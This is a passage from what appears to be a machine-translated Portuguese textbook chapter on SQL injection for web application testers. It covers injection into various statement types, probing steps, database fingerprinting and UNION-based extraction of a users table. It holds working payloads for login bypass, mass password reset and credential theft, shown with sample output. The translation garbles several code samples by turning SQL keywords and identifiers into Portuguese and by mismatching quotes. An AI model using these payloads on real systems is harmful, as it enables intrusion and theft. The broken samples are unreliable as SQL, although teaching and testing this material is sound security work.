ou consultar uma tabela ou função incorporada para atingir seus objetivos. As respostas que você recebe do aplicativo de destino geralmente são incompletas ou enigmáticas, exigindo algum trabalho de detetive para serem compreendidas. Tudo isso será muito mais fácil se você puder fazer uma referência cruzada com uma versão funcional totalmente transparente do banco de dados em questão.

Se isso não for possível, uma boa alternativa é encontrar um ambiente interativo on-line adequado para fazer experiências, como os tutoriais interativos do **`SQLzoo.net`**.

Exploração de uma vulnerabilidade básica

Considere um aplicativo da Web implementado por um varejista de livros que permite que os usuários pesquisem produtos por autor, título, editora e assim por diante. Todo o catálogo de livros é mantido em um banco de dados, e o aplicativo usa consultas SQL para recuperar detalhes de diferentes livros com base nos termos de pesquisa fornecidos pelos usuários.

Quando um usuário pesquisa todos os livros publicados pela Wiley, o aplicativo realiza a seguinte consulta:

```
SELECT author,title,year FROM books WHERE publisher = 'Wiley' and
published=1
```

Essa consulta faz com que o banco de dados verifique todas as linhas da tabela de livros, extraia cada um dos registros em que a coluna `do editor` tem o valor `Wiley` e `publicado` tem o valor `1`, e retorne o conjunto de todos esses registros. Em seguida, o aplicativo processa esse conjunto de registros e o apresenta ao usuário em uma página HTML. Nessa consulta, as palavras à esquerda do sinal de igual são palavras-chave SQL e os nomes de tabelas e colunas no banco de dados. Essa parte da consulta foi construída pelo programador quando o aplicativo foi criado. A expressão `Wiley` é fornecida pelo usuário e seu significado é como um item de dados. Os dados de cadeia de caracteres nas consultas SQL devem ser encapsulados entre aspas simples para separá-lo do restante da consulta.

Agora, considere o que acontece quando um usuário pesquisa todos os livros publicados pela O'Reilly. Isso faz com que o aplicativo execute a seguinte consulta:

```
SELECT author,title,year FROM books WHERE publisher = 'O'Reilly' and
published=1
```

Nesse caso, o interpretador de consulta alcança os dados da cadeia da mesma forma que antes. Ele analisa esses dados, que estão encapsulados entre aspas simples, e obtém o valor `O`. Em seguida, ele encontra a expressão `Reilly'`, que não é uma sintaxe SQL válida e, portanto, gera um erro:

```
Sintaxe incorreta perto de 'Reilly'.
Servidor: Msg 105, Nível 15, Estado 1, Linha 1
Aspas não fechadas antes da cadeia de caracteres '
```

Quando um aplicativo se comporta dessa forma, ele fica aberto à injeção de SQL. Um invasor pode fornecer entrada contendo uma aspa para encerrar a string que ele controla. Em seguida, ele pode escrever um SQL arbitrário para modificar a consulta que o desenvolvedor pretendia que o aplicativo executasse. Nessa situação, por exemplo, o invasor pode modificar a consulta para retornar todos os livros do catálogo do varejista ao inserir esse termo de pesquisa:

```
Wiley' OU 1=1--
```

Isso faz com que o aplicativo execute a seguinte consulta:

```
SELECT author,title,year FROM books WHERE publisher = 'Wiley' OR
 1=1--' and published=1
```

Isso modifica a cláusula `WHERE` da consulta do desenvolvedor para adicionar uma segunda condição. O banco de dados verifica cada linha da tabela de livros e extrai cada registro em que a coluna `do editor` tem o valor `Wiley` *ou* em que 1 é igual a 1. Como 1 é sempre igual a 1, o banco de dados retorna todos os registros da tabela de livros.

O hífen duplo na entrada do invasor é uma expressão significativa no SQL que informa ao interpretador de consultas que o restante da linha é um comentário e deve ser ignorado. Esse truque é extremamente útil em alguns ataques de injeção de SQL, pois permite que você ignore o restante da consulta criada pelo desenvolvedor do aplicativo. No exemplo, o aplicativo encapsula a cadeia de caracteres fornecida pelo usuário entre aspas simples. Como o invasor encerrou a cadeia de caracteres que controla e injetou algum SQL adicional, ele precisa lidar com as aspas finais para evitar um erro de sintaxe, como no exemplo da O'Reilly. Ele consegue isso adicionando um hífen duplo, fazendo com que o restante da consulta seja tratado como um comentário. No MySQL, você precisa incluir um espaço após o hífen duplo ou usar um caractere de hash para especificar um comentário.

A consulta original também controlava o acesso apenas aos livros publicados, pois especificava `and published=1`. Ao injetar a sequência de comentários, o invasor obteve acesso não autorizado, retornando detalhes de todos os livros, publicados ou não.

DICA Em algumas situações, uma maneira alternativa de lidar com as aspas finais sem usar o símbolo de comentário é "equilibrar as aspas". Você encontra a entrada injetada com um item de dados de cadeia de caracteres que requer uma aspa final para encapsulá-la. Por exemplo, ao inserir o termo de pesquisa:

```
Wiley" OU "a" = "a
```

resultados na consulta:

```
SELECT author,title,year FROM books WHERE publisher = 'Wiley' OR
 'a'='a' and published=1
```

Isso é perfeitamente válido e obtém o mesmo resultado que o ataque `1 = 1` para retornar todos os livros publicados pela Wiley, independentemente de terem sido publicados.

Esse exemplo mostra como a lógica do aplicativo pode ser contornada, permitindo uma falha de controle de acesso em que o invasor pode visualizar todos os livros, e não apenas os livros que correspondem ao filtro permitido (mostrando livros publicados). No entanto, descreveremos em breve como falhas de injeção de SQL como essa podem ser usadas para extrair dados arbitrários de diferentes tabelas de banco de dados e para aumentar os privilégios no banco de dados e no servidor de banco de dados. Por esse motivo, qualquer vulnerabilidade de injeção de SQL deve ser considerada extremamente grave, independentemente de seu contexto preciso dentro da funcionalidade do aplicativo.

Injetando em diferentes tipos de demonstrativos

A linguagem SQL contém vários verbos que podem aparecer no início das instruções. Como esse é o verbo mais comumente usado, a maioria das vulnerabilidades de injeção de SQL surge em comandos `SELECT`. De fato, as discussões sobre injeção de SQL geralmente dão a impressão de que a vulnerabilidade ocorre somente em relação aos comandos `SELECT`, porque os exemplos usados são todos desse tipo. Entretanto, as falhas de injeção de SQL podem existir em qualquer tipo de instrução. Você precisa estar ciente de algumas considerações importantes em relação a cada uma delas.

É claro que, quando você está interagindo com um aplicativo remoto, normalmente não é possível saber com antecedência por qual tipo de instrução um determinado item de entrada do usuário será processado. No entanto, geralmente é possível fazer uma estimativa com base no tipo de função do aplicativo com o qual você está lidando. Os tipos mais comuns de instruções SQL e seus usos são descritos aqui.

Declarações SELECT

Os comandos `SELECT` são usados para recuperar informações do banco de dados. Eles são frequentemente empregados em funções em que o aplicativo retorna informações em resposta a ações do usuário, como navegar em um catálogo de produtos, visualizar o histórico de um usuário, etc.

perfil ou realizar uma pesquisa. Eles também são usados com frequência em funções de login em que as informações fornecidas pelo usuário são comparadas com os dados recuperados de um banco de dados.

Como nos exemplos anteriores, o ponto de entrada para ataques de injeção de SQL normalmente é a cláusula `WHERE` da consulta. Os itens fornecidos pelo usuário são passados para o banco de dados para controlar o escopo dos resultados da consulta. Como a cláusula `WHERE` geralmente é o componente final de uma instrução `SELECT`, isso permite que o invasor use o símbolo de comando para truncar a consulta até o final de sua entrada sem invalidar a sintaxe da consulta geral.

Ocasionalmente, ocorrem vulnerabilidades de injeção de SQL que afetam outras partes do sistema.

Consulta `SELECT`, como a cláusula `ORDER BY` ou os nomes de tabelas e colunas.

EXPERIMENTE!

http://mdsec.net/addressbook/32/

Declarações INSERT

Os comandos `INSERT` são usados para criar uma nova linha de dados em uma tabela. São comumente usados quando um aplicativo adiciona uma nova entrada a um registro de auditoria, cria uma nova conta de usuário ou gera um novo pedido.

Por exemplo, um aplicativo pode permitir que os usuários se registrem, especificando seu próprio nome de usuário e senha, e pode inserir os detalhes na tabela de `usuários` com a seguinte instrução:

```
INSERT INTO users (username, password, ID, privs) VALUES ('daf',
'secret', 2248, 1)
```

Se o campo `de nome de usuário` ou `senha` for vulnerável à injeção de SQL, um invasor poderá inserir dados arbitrários na tabela, incluindo seus próprios valores para `ID` e `privs`. No entanto, para fazer isso, ele deve garantir que o restante da cláusula `VALUES` seja concluído de forma graciosa. Em particular, ela deve conter o número correto de itens de dados dos tipos corretos. Por exemplo, injetando no campo `de nome de usuário`, o invasor pode fornecer o seguinte:

```
foo', 'bar', 9999, 0)--
```

Isso cria uma conta com um `ID` de 9999 e `privs` de 0. Supondo que o campo `privs` seja usado para determinar os privilégios da conta, isso pode permitir que o invasor crie um usuário administrativo.

Em algumas situações, ao trabalhar completamente às cegas, a injeção em uma instrução `INSERT` pode permitir que um invasor extraia dados de cadeia do aplicativo. Por exemplo, o invasor pode pegar a string de versão do banco de dados e inseri-la em um campo dentro de seu próprio perfil de usuário, que pode ser exibido de volta ao navegador da maneira normal.

DICA Ao tentar injetar em uma instrução **INSERT**, talvez você não saiba antecipadamente quantos parâmetros são necessários ou quais são seus tipos. Na situação anterior, você pode continuar adicionando campos à cláusula **VALUES** até que a conta de usuário desejada seja realmente criada. Por exemplo, ao injetar no campo **nome de usuário**, você poderia enviar o seguinte:

```
foo')--
foo', 1)--
foo', 1, 1)--
foo', 1, 1, 1)--.
```

Como a maioria dos bancos de dados converte implicitamente um número inteiro em uma cadeia de caracteres, um valor inteiro pode ser usado em cada posição. Nesse caso, o resultado é uma conta com um nome de usuário **foo** e uma senha **1**, independentemente da ordem em que os outros campos estejam.

Se o valor **1** ainda for rejeitado, você pode tentar o valor **2000**, que muitos bancos de dados também convertem implicitamente em tipos de dados baseados em datas.

Quando tiver determinado o número correto de campos após o ponto de injeção, no MS-SQL você poderá adicionar uma segunda consulta arbitrária e usar uma das técnicas baseadas em inferência descritas mais adiante neste capítulo.

No Oracle, uma consulta de subseleção pode ser emitida em uma consulta de inserção. Essa consulta de subseleção pode causar o sucesso ou a falha da consulta principal, usando as técnicas baseadas em inferência descritas posteriormente.

EXPERIMENTE!

http://mdsec.net/addressbook/12/

Declarações de atualização

Os comandos `UPDATE` são usados para modificar uma ou mais linhas de dados existentes em uma tabela. Geralmente são usadas em funções em que um usuário altera o valor de dados que já existem - por exemplo, atualizar suas informações de contato, alterar sua senha ou alterar a quantidade em uma linha de um pedido.

Um comando `UPDATE` típico funciona de forma muito parecida com um comando `INSERT`, exceto pelo fato de que ele geralmente contém uma cláusula `WHERE` para informar ao banco de dados quais linhas da tabela devem ser atualizadas. Por exemplo, quando um usuário altera sua senha, o aplicativo pode executar a seguinte consulta:

```
UPDATE users SET password='newsecret' WHERE user = 'marcus' and password
= 'secret'
```

Essa consulta, na verdade, verifica se a senha existente do usuário está correta e, se estiver, atualiza-a com o novo valor. Se a função for vulnerável ao SQL

injeção, um invasor pode ignorar a verificação de senha existente e atualizar a senha do usuário administrador inserindo o seguinte nome de usuário:

```
admin'--
```

OBSERVAÇÃO A sondagem de vulnerabilidades de injeção de SQL em um aplicativo remoto é sempre potencialmente perigosa, porque você não tem como saber com antecedência qual ação o aplicativo executará usando o seu código criado.

entrada. Em particular, a modificação da cláusula **WHERE** em uma instrução **UPDATE** pode fazer com que as alterações sejam feitas em uma tabela crítica do banco de dados. Por exemplo, se o ataque que acabamos de descrever tivesse fornecido o nome de usuário:

```
admin' ou 1=1--
```

isso faria com que o aplicativo executasse a consulta:

```
UPDATE users SET password='newsecret' WHERE user = 'admin' or 1=1
```

Isso redefine o valor da senha de cada usuário, pois 1 é sempre igual a 1! Esteja ciente de que esse risco existe mesmo quando você ataca uma função do aplicativo.

que não parece atualizar nenhum dado existente, como o login principal. Houve casos em que, após um login bem-sucedido, o aplicativo executou várias consultas **UPDATE** usando o nome de usuário fornecido. Isso significa que qualquer ataque à cláusula **WHERE** pode ser replicado nesses outros estados, podendo causar estragos nos perfis de todos os usuários do aplicativo. Você deve garantir que o proprietário do aplicativo aceite esses riscos inevitáveis antes de tentar sondar ou explorar qualquer falha de injeção de SQL. Você também deve incentivar fortemente o proprietário a fazer um backup completo do banco de dados antes de iniciar o teste.

EXPERIMENTE!

http://mdsec.net/addressbook/27/

Declarações DELETE

Os comandos `DELETE` são usados para excluir uma ou mais linhas de dados de uma tabela, como quando os usuários removem um item da cesta de compras ou excluem um endereço de entrega de seus dados pessoais.

Assim como nas instruções `UPDATE`, uma cláusula `WHERE` normalmente é usada para informar ao banco de dados quais linhas da tabela devem ser atualizadas. É mais provável que os dados fornecidos pelo usuário sejam incorporados a essa cláusula. A subversão da cláusula `WHERE` pretendida pode ter

efeitos de longo alcance, portanto, a mesma cautela descrita para as declarações `UPDATE` se aplica a esse ataque.

Localização de erros de injeção de SQL

Nos casos mais óbvios, uma falha de injeção de SQL pode ser descoberta e verificada de forma conclusiva com o fornecimento de um único item de entrada inesperado ao aplicativo. Em outros casos, os bugs podem ser extremamente sutis e difíceis de distinguir de outras categorias de vulnerabilidade ou de anomalias benignas que não representam uma ameaça à segurança. No entanto, você pode executar várias etapas de forma ordenada para verificar de forma confiável a maioria das falhas de injeção de SQL.

NOTA Em seus exercícios de mapeamento de aplicativos (consulte o Capítulo 4), você deve ter identificado instâncias em que o aplicativo parece estar acessando um banco de dados back-end. Todos eles precisam ser sondados quanto a falhas de injeção de SQL. Na verdade, praticamente qualquer item de dados enviado ao servidor pode ser passado para as funções do banco de dados de maneiras que não são evidentes do ponto de vista do usuário e que podem ser tratadas de maneira insegura. Portanto, você precisa verificar cada um desses itens quanto a vulnerabilidades de injeção de SQL. Isso inclui todos os parâmetros de URL, cookies, itens de dados **`POST`** e cabeçalhos HTTP. Em todos os casos, pode haver uma vulnerabilidade no tratamento do nome e do valor do parâmetro relevante.

DICA Quando estiver sondando vulnerabilidades de injeção de SQL, certifique-se de percorrer até o fim todos os processos de vários estágios nos quais você envia entradas criadas. Os aplicativos frequentemente reúnem uma coleção de dados em várias solicitações e os mantêm no banco de dados somente depois que o conjunto completo foi reunido. Nessa situação, você perderá muitas vulnerabilidades de injeção de SQL se enviar apenas dados criados em cada solicitação individual e monitorar a resposta do aplicativo a essa solicitação.

Injetando em dados de cadeia de caracteres

Quando os dados de string fornecidos pelo usuário são incorporados a uma consulta SQL, eles são encapsulados entre aspas simples. Para explorar qualquer falha de injeção de SQL, você precisa sair dessas aspas.

ETAPAS DO HACK

1. Apresente uma aspa simples como o item de dados que você está segmentando. Observe se ocorre um erro ou se o resultado difere do original de alguma outra forma. Se for recebida uma mensagem de erro detalhada do banco de dados, consulte a seção "Sintaxe SQL e referência de erros" deste capítulo para entender seu significado.

2. Se for observado um erro ou outro comportamento divergente, envie duas aspas simples juntas. Os bancos de dados usam duas aspas simples como uma sequência de escape para representar uma aspa simples literal, de modo que a sequência é interpretada como dados dentro da cadeia de caracteres entre aspas, em vez do terminador da cadeia de caracteres de fechamento. Se essa entrada fizer com que o erro ou o comportamento anômalo desapareça, o aplicativo provavelmente está vulnerável à injeção de SQL.
3. Como uma verificação adicional da presença de um bug, você pode usar os caracteres do concatenador SQL para construir uma cadeia de caracteres equivalente a alguma entrada benigna. Se o aplicativo tratar a entrada criada da mesma forma que trata a entrada benigna correspondente, é provável que esteja vulnerável. Cada tipo de banco de dados usa métodos diferentes para a concatenação de strings. Os exemplos a seguir podem ser injetados para construir uma entrada que seja equivalente a `FOO` em um aplicativo vulnerável:
   - Oracle: `'||'FOO`
   - MS-SQL: `'+'FOO`
   - MySQL: `' 'FOO` (observe o espaço entre as duas aspas)

DICA Uma forma de confirmar que o aplicativo está interagindo com um banco de dados back-end é enviar o caractere curinga SQL `%` em um determinado parâmetro. Por exemplo, o envio desse caractere em um campo de pesquisa geralmente retorna um grande número de resultados, indicando que a entrada está sendo passada para uma consulta SQL. Obviamente, isso não indica necessariamente que o aplicativo é vulnerável - apenas que você deve investigar mais para identificar quaisquer falhas reais.

DICA Ao procurar por injeção de SQL usando uma aspa simples, fique atento a quaisquer erros de JavaScript que ocorram quando o navegador processar a página retornada. É bastante comum que a entrada fornecida pelo usuário seja retornada no JavaScript, e uma aspa simples não higienizada causará um erro no interpretador JavaScript, assim como no interpretador SQL. A capacidade de injetar JavaScript arbitrário nas respostas permite ataques de script entre sites, conforme descrito no Capítulo 12.

Injetando em dados numéricos

Quando os dados numéricos fornecidos pelo usuário são incorporados a uma consulta SQL, o aplicativo ainda pode tratá-los como dados de cadeia de caracteres, encapsulando-os entre aspas simples. Portanto, você deve sempre seguir as etapas descritas anteriormente para dados de cadeia de caracteres. Na maioria dos casos, entretanto, os dados numéricos são passados diretamente para o banco de dados em formato numérico e, portanto, não são colocados entre aspas simples. Se nenhum dos testes anteriores apontar para a presença de uma vulnerabilidade, você poderá tomar algumas outras medidas específicas em relação aos dados numéricos.

ETAPAS DO HACK

1. Tente fornecer uma expressão matemática simples que seja equivalente ao valor numérico original. Por exemplo, se o valor original for 2, tente enviar 1+1 ou 3-1. Se o aplicativo responder da mesma forma, ele *pode* estar vulnerável.
2. O teste anterior é mais confiável nos casos em que você confirmou que o item que está sendo modificado tem um efeito perceptível no comportamento do aplicativo. Por exemplo, se o aplicativo usar um parâmetro **PageID** numérico para especificar qual conteúdo deve ser retornado, substituir 1+1 por 2 com resultados equivalentes é um bom sinal de que a injeção de SQL está presente. No entanto, se você puder inserir dados arbitrários em um parâmetro numérico sem alterar o comportamento do aplicativo, o teste anterior não fornecerá nenhuma evidência de vulnerabilidade.
3. Se o primeiro teste for bem-sucedido, você poderá obter mais evidências da vulnerabilidade usando expressões mais complicadas que usam palavras-chave e sintaxe específicas do SQL. Um bom exemplo disso é o comando **ASCII**, que retorna o código ASCII numérico do caractere fornecido. Por exemplo, como o valor ASCII de A é 65, a expressão a seguir é equivalente a 2 no SQL:

   ```
   67-ASCII('A')
   ```

4. O teste anterior não funcionará se as aspas simples estiverem sendo filtradas. Entretanto, nessa situação, você pode explorar o fato de que os bancos de dados convertem implicitamente dados numéricos em dados de cadeia de caracteres, quando necessário. Portanto, como o valor ASCII do caractere 1 é 49, a expressão a seguir é equivalente a 2 no SQL:

   ```
   51-ASCII(1)
   ```

DICA Um erro comum ao sondar um aplicativo em busca de defeitos como injeção de SQL é esquecer que determinados caracteres têm um significado especial nas solicitações HTTP. Se quiser incluir esses caracteres em suas cargas de ataque, você deve ter o cuidado de codificá-los no URL para garantir que sejam interpretados da maneira pretendida. Em particular:

- **&** e **=** são usados para unir pares de nome/valor para criar a string de consulta e o bloco de dados **do POST**. Você deve codificá-los usando **%26** e **%3d**, respectivamente.
- Espaços literais não são permitidos na string de consulta. Se forem enviados, eles efetivamente encerrarão a cadeia inteira. Você deve codificá-los usando **+** ou **%20**.
- Como **o +** é usado para codificar espaços, se você quiser incluir um **+** real em sua cadeia de caracteres, deverá codificá-lo usando **%2b**. No exemplo numérico anterior, portanto, **1+1** deve ser enviado como **1%2b1**.

- O ponto e vírgula é usado para separar os campos de cookies e deve ser codificado usando **%3b**.

Essas codificações são necessárias se você estiver editando o valor do parâmetro diretamente do navegador, com um proxy de interceptação ou por qualquer outro meio. Se você não codificar corretamente os caracteres problemáticos, poderá invalidar toda a solicitação ou enviar dados que não pretendia.

As etapas descritas acima geralmente são suficientes para identificar a maioria das vulnerabilidades de injeção de SQL, incluindo muitas daquelas em que nenhum resultado útil ou informação de erro é transmitida de volta ao navegador. Em alguns casos, porém, podem ser necessárias técnicas mais avançadas, como o uso de atrasos para confirmar a presença de uma vulnerabilidade. Descreveremos essas técnicas mais adiante neste capítulo.

Injetando na estrutura da consulta

Se os dados fornecidos pelo usuário estiverem sendo inseridos na estrutura da própria consulta SQL, e não em um item de dados dentro da consulta, a exploração da injeção de SQL envolve simplesmente o fornecimento direto de sintaxe SQL válida. Não é necessário "escapar" para sair de qualquer contexto de dados.

O ponto de injeção mais comum na estrutura de consulta SQL está em uma cláusula `ORDER BY`. A palavra-chave `ORDER BY` usa um nome ou número de coluna e ordena o conjunto de resultados de acordo com os valores dessa coluna. Essa funcionalidade é frequentemente exposta ao usuário para permitir a classificação de uma tabela no navegador. Um exemplo típico é uma tabela classificável de livros que é recuperada usando essa consulta:

```
SELECT author, title, year FROM books WHERE publisher = 'Wiley' ORDER BY title
ASC
```

Se o `título` do nome da coluna no `ORDER BY` for especificado pelo usuário, não será necessário usar uma aspa simples. Os dados fornecidos pelo usuário já modificam diretamente a estrutura da consulta SQL.

DICA Em alguns casos mais raros, a entrada fornecida pelo usuário pode especificar um nome de coluna em uma cláusula **WHERE**. Como elas também não são encapsuladas entre aspas simples, ocorre um problema semelhante. Os autores também encontraram aplicativos em que o nome da tabela era um parâmetro fornecido pelo usuário. Por fim, um número surpreendente de aplicativos expõe a palavra-chave de ordem de classificação (**ASC** ou **DESC**) a ser especificada pelo usuário, talvez acreditando que isso não tenha consequências para ataques de injeção de SQL.

Encontrar injeção de SQL em um nome de coluna pode ser difícil. Se for fornecido um valor que não seja um nome de coluna válido, a consulta resultará em um erro. Isso significa que a resposta será a mesma, independentemente de o invasor enviar um

string de passagem de caminho, aspas simples, aspas duplas ou qualquer outra string arbitrária. Portanto, as técnicas comuns de fuzzing automatizado e de teste manual podem ignorar a vulnerabilidade. As cadeias de caracteres de teste padrão para vários tipos de vulnerabilidades causarão a mesma resposta, que pode não revelar a natureza do erro.

OBSERVAÇÃO Algumas defesas convencionais de injeção de SQL descritas mais adiante neste capítulo não podem ser implementadas para nomes de colunas especificados pelo usuário. O uso de instruções preparadas ou o escape de aspas simples não impedirão esse tipo de injeção de SQL. Como resultado, esse vetor é um dos principais a serem observados nos aplicativos modernos.

ETAPAS DO HACK

1. Anote todos os parâmetros que parecem controlar a ordem ou os tipos de campo nos resultados que o aplicativo retorna.
2. Faça uma série de solicitações fornecendo um valor numérico no valor do parâmetro, começando com o número **1** e aumentando-o a cada solicitação subsequente:
   - Se a alteração do número na entrada afetar a ordem dos resultados, a entrada provavelmente está sendo inserida em uma cláusula **ORDER BY**. No SQL, **ORDER BY 1** ordena pela primeira coluna. Aumentar esse número para **2** deve alterar a ordem de exibição dos dados para a ordem da segunda coluna. Se o número fornecido for maior que o número de colunas no conjunto de resultados, a consulta deverá falhar. Nessa situação, você pode confirmar que mais SQL pode ser injetado verificando se a ordem dos resultados pode ser revertida, usando o seguinte:

     ```
     1 ASC --
     1 DESC --
     ```

   - Se o fornecimento do número **1** causar um conjunto de resultados com uma coluna contendo **1** em cada linha, a entrada provavelmente está sendo inserida no nome de uma coluna que está sendo retornada pela consulta. Por exemplo:

     ```
     SELECT 1,title,year FROM books WHERE publisher='Wiley'
     ```

OBSERVAÇÃO A exploração da injeção de SQL em uma cláusula **ORDER BY** é significativamente diferente da maioria dos outros casos. Um banco de dados não aceitará as palavras-chave **UNION**, **WHERE**, **OR** ou **AND** nesse ponto da consulta. Em geral, a exploração exige que o invasor especifique uma consulta aninhada no lugar do parâmetro, como a substituição do nome da coluna por **(select 1 where <<condition>> or 1/0=0)**, aproveitando assim as técnicas de inferência descritas mais adiante neste capítulo. Para bancos de dados que suportam consultas em lote, como o MS-SQL, essa pode ser a opção mais eficiente.

Impressão digital do banco de dados

A maioria das técnicas descritas até agora é eficaz contra todas as plataformas de banco de dados comuns, e quaisquer divergências foram acomodadas por meio de pequenos ajustes na sintaxe. No entanto, quando começamos a analisar técnicas de exploração mais avançadas, as diferenças entre as plataformas se tornam mais significativas, e cada vez mais será necessário saber com que tipo de banco de dados back-end você está lidando.

Você já viu como é possível extrair a string de versão dos principais tipos de banco de dados. Mesmo que isso não possa ser feito por algum motivo, em geral é possível identificar o banco de dados usando outros métodos. Um dos mais confiáveis são os diferentes meios pelos quais os bancos de dados concatenam strings. Em uma consulta em que você controla algum item de dados de cadeia de caracteres, é possível fornecer um valor específico em uma solicitação e, em seguida, testar diferentes métodos de concatenação para produzir essa cadeia. Quando os mesmos resultados são obtidos, você provavelmente já identificou o tipo de banco de dados que está sendo usado. Os exemplos a seguir mostram como os `serviços de` cadeia de caracteres podem ser construídos nos tipos comuns de banco de dados:

- **Oracle:** `'serv'||'ices'`
- **MS-SQL:** `'serv'+'ices'`
- **MySQL:** `'serv' 'ices'` (observe o espaço)

Se estiver injetando em dados numéricos, as seguintes cadeias de ataque podem ser usadas para identificar o banco de dados. Cada um desses itens é avaliado como 0 no banco de dados de destino e gera um erro nos outros bancos de dados:

- **Oracle:** `BITAND(1,1)-BITAND(1,1)`
- **MS-SQL:** `@@PACK_RECEIVED-@@PACK_RECEIVED`
- **MySQL:** `CONNECTION_ID()-CONNECTION_ID()`

OBSERVAÇÃO Os bancos de dados MS-SQL e Sybase compartilham uma origem comum e, portanto, têm muitas semelhanças em relação à estrutura da tabela, às variáveis globais e aos procedimentos armazenados. Na prática, a maioria das técnicas de ataque contra o MS-SQL descritas em seções posteriores funcionará de forma idêntica contra o Sybase.

Um outro ponto de interesse ao fazer a impressão digital de bancos de dados é como o MySQL lida com certos tipos de comentários em linha. Se um comentário começa com um ponto de exclamação seguido por uma string de versão de banco de dados, o conteúdo do comentário é interpretado como SQL real, desde que a versão do banco de dados real seja igual ou posterior a essa string. Caso contrário, o conteúdo é ignorado e tratado como um comentário. Os programadores podem usar esse recurso da mesma forma que as diretivas de pré-processamento em C, o que lhes permite escrever códigos diferentes que serão

processados

condicionalmente à versão do banco de dados que está sendo usada. Um invasor também pode usar esse recurso para identificar a versão exata do banco de dados. Por exemplo, a injeção da seguinte cadeia de caracteres faz com que a cláusula `WHERE` de uma instrução `SELECT` seja falsa se a versão do MySQL em uso for maior ou igual a 3.23.02:

```
/*!32302 e 1=0*/
```

O operador UNION

O operador `UNION` é usado no SQL para combinar os resultados de duas ou mais instruções `SELECT` em um único conjunto de resultados. Quando um aplicativo da Web contém uma vulnerabilidade de injeção de SQL que ocorre em uma instrução `SELECT`, muitas vezes é possível empregar o operador `UNION` para executar uma segunda consulta totalmente separada e combinar seus resultados com os da primeira. Se os resultados da consulta forem retornados ao seu navegador, essa técnica poderá ser usada para extrair facilmente dados arbitrários do banco de dados. `O UNION` é suportado por todos os principais produtos de DBMS. É a maneira mais rápida de recuperar informações arbitrárias do banco de dados em situações em que os resultados da consulta são retornados diretamente.

Lembre-se do aplicativo que permitiu que os usuários pesquisassem livros com base no autor, título, editora e outros critérios. A pesquisa de livros publicados pela Wiley faz com que o aplicativo execute a seguinte consulta:

```
SELECT author,title,year FROM books WHERE publisher = 'Wiley'
```

Suponha que essa consulta retorne o seguinte conjunto de resultados:

AUTOR	TÍTULO	ANO
Litchfield	O Manual do Hacker de Banco de Dados	2005
Anley	O Manual do Shellcoder	2007

Você viu anteriormente como um invasor poderia fornecer uma entrada criada para a função de pesquisa para subverter a cláusula `WHERE` da consulta e, portanto, retornar todos os livros contidos no banco de dados. Um ataque muito mais interessante seria usar o operador `UNION` para injetar uma segunda consulta `SELECT` e anexar seus resultados aos da primeira. Essa segunda consulta pode extrair dados de uma tabela diferente do banco de dados. Por exemplo, digitando o termo de pesquisa:

```
Wiley' UNION SELECT nome de usuário, senha, uid FROM usuários--
```

faz com que o aplicativo execute a seguinte consulta:

```
SELECT author,title,year FROM books WHERE publisher = 'Wiley' UNION
SELECT username,password,uid FROM users--'
```

Isso retorna os resultados da pesquisa original seguidos pelo conteúdo da tabela de usuários:

AUTOR	TÍTULO	ANO
Litchfield	O Manual do Hacker de Banco de Dados	2005
Anley	O Manual do Shellcoder	2007
administrador	r00tr0x	0
penhasco	Reinicialização	1

OBSERVAÇÃO Quando os resultados de duas ou mais consultas **SELECT** são combinados usando o operador **UNION**, os nomes das colunas do conjunto de resultados combinados são os mesmos que os retornados pela primeira consulta **SELECT**. Como mostrado na tabela anterior, os nomes de usuário aparecem na coluna **autor** e as senhas aparecem na coluna **título**. Isso significa que, quando o aplicativo processa os resultados da consulta modificada, ele não tem como detectar que os dados retornados se originaram de uma tabela diferente.

Esse exemplo simples demonstra o poder potencialmente enorme do operador `UNION` quando empregado em um ataque de injeção de SQL. No entanto, antes que ele possa ser explorado dessa forma, duas importantes ressalvas precisam ser consideradas:

- Quando os resultados de duas consultas são combinados usando o operador `UNION`, os dois conjuntos de resultados devem ter a mesma estrutura. Em outras palavras, eles devem conter o mesmo número de colunas, que têm tipos de dados iguais ou compatíveis, aparecendo na mesma ordem.
- Para injetar uma segunda consulta que retornará resultados interessantes, o invasor precisa saber o nome da tabela do banco de dados que deseja atingir e os nomes de suas colunas relevantes.

Vamos examinar um pouco mais a fundo a primeira dessas ressalvas. Suponha que o invasor tente injetar uma segunda consulta que retorne um número incorreto de colunas. Ele fornece esta entrada:

```
Wiley' UNION SELECT nome de usuário, senha FROM usuários--
```

A consulta original retorna três colunas e a consulta injetada retorna apenas duas colunas. Portanto, o banco de dados retorna o seguinte erro:

```
ORA-01789: O bloco de consulta tem um número incorreto de colunas de resultado
```

Em vez disso, suponha que o invasor tente injetar uma segunda consulta cujas colunas tenham tipos de dados incompatíveis. Ele fornece essa entrada:

```
Wiley' UNION SELECT uid,username,password FROM users--
```

Isso faz com que o banco de dados tente combinar a coluna de senha da segunda consulta (que contém dados de cadeia de caracteres) com a coluna de ano da primeira consulta (que contém dados numéricos). Como os dados de cadeia não podem ser convertidos em dados numéricos, isso causa um erro:

```
ORA-01790: A expressão deve ter o mesmo tipo de dados que a expressão correspondente
```

OBSERVAÇÃO As mensagens de erro mostradas aqui são para o Oracle. As mensagens equivalentes para outros bancos de dados estão listadas na seção posterior "Sintaxe SQL e referência de erros".

Em muitos casos reais, as mensagens de erro do banco de dados mostradas são capturadas pelo aplicativo e não são retornadas ao navegador do usuário. Portanto, pode parecer que, ao tentar descobrir a estrutura da primeira consulta, você está restrito a uma mera adivinhação. Entretanto, esse não é o caso. Três pontos importantes significam que sua tarefa geralmente é fácil:

- Para que a consulta injetada possa ser combinada com a primeira, não é estritamente necessário que ela contenha os mesmos tipos de dados. Em vez disso, eles devem ser compatíveis. Em outras palavras, cada tipo de dados na segunda consulta deve ser idêntico ao tipo correspondente na primeira ou ser implicitamente conversível a ele. Você já viu que os bancos de dados convertem implicitamente um valor numérico em um valor de cadeia de caracteres. De fato, o valor `NULL` pode ser convertido em qualquer tipo de dados. Portanto, se você não souber o tipo de dados de um determinado campo, poderá simplesmente `SELECIONAR NULL` para esse campo.
- Nos casos em que o aplicativo retém mensagens de erro do banco de dados, você pode determinar facilmente se a consulta injetada foi executada. Se tiver sido, resultados adicionais serão adicionados aos retornados pelo aplicativo a partir de sua consulta original. Isso permite que você trabalhe sistematicamente até descobrir a estrutura da consulta que precisa injetar.
- Na maioria dos casos, você pode atingir seus objetivos simplesmente identificando um único campo na consulta original que tenha um tipo de dados de cadeia de caracteres. Isso é suficiente para que você injete consultas arbitrárias que retornem dados baseados em strings e recupere os resultados, permitindo que você extraia sistematicamente qualquer dado desejado do banco de dados.

